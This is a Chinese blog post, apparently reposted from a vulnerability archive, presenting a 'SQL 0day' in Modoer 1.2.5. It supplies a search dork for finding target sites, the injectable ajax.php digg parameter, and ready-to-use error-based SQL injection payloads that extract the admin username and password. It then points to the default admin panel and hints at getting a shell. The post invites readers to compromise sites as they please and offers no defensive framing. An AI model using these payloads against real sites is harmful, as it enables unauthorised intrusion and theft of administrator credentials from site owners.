Modoer 1.2.5 SQL 0day

演示站点:http://www.xxxxx.com

关键字:Powered by Modoer site:.com (可以根据需求自行拿站)

测试漏洞:

ajax.php?action=digg&idtype=shop&keyid=* FROM modoer_admin Where id=1 and substring((Select adminname FROM modoer_admin Where id=1),1,1)=0x61 %23

1.jpg

存在MySQL Query Error: Update modoer_shops 说明存在注入

2.jpg

把*替换为1 进行注入

得到的地址http://www.xxx.com/ajax.php?action=digg&idtype=shop&keyid=1

打开Havij 来跑下库名

3.jpg

库名为ytmodoer

接下来爆用户名 :

ajax.php?action=digg&idtype=shop&keyid=1 and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,modoer_admin.adminname,0x27,0x7e) FROM 'modo'.modoer_admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

FROM ‘modo’.modoer_admin LIMIT 0,1)在这里吧’modo’.替换为刚才跑出的库名 即为:

ajax.php?action=digg&idtype=shop&keyid=1 and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,modoer_admin.adminname,0x27,0x7e) FROM 'ytmodoer'.modoer_admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

测试看爆出的结果:

4.jpg

用户名出来了,继续爆密码:

ajax.php?action=digg&idtype=shop&keyid=1 and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,modoer_admin.password,0x27,0x7e) FROM 'modo'.modoer_admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

同上,替换库名’modo’. 爆:

ajax.php?action=digg&idtype=shop&keyid=1 and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,modoer_admin.password,0x27,0x7e) FROM 'ytmodoer'.modoer_admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

5.jpg

密码出来!!!

其实,可以同时爆时爆出用户名和密码的,接着看:

ajax.php?action=digg&idtype=shop&keyid=1 and(select 1 from(select count(*),concat((select (select (Select concat(modoer_admin.password,0x3c,modoer_admin.adminname) FROM modoer_admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=

6.jpg

默认后台地址:Admincp.php

7.jpg

至于后台怎么拿shell,各位童鞋你懂的~

本文链接:https://www.moyan.net.cn/wooyun/285.html
本文标题:Modoer 1.2.5 SQL 0day
本文声明:如无特殊说明,您可以自由转载本文,但需标注转载自莫言斋(https://www.moyan.net.cn/)。本站部分文章信息来源于互联网及公开渠道,如侵犯到您的权益,请及时联系我们(94372#qq.com)处理!

评论

  1. winchester
    13年前
    2011-8-13 13:16:56

    wow~~你好厉害哦,你可以当我的师傅吗??

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇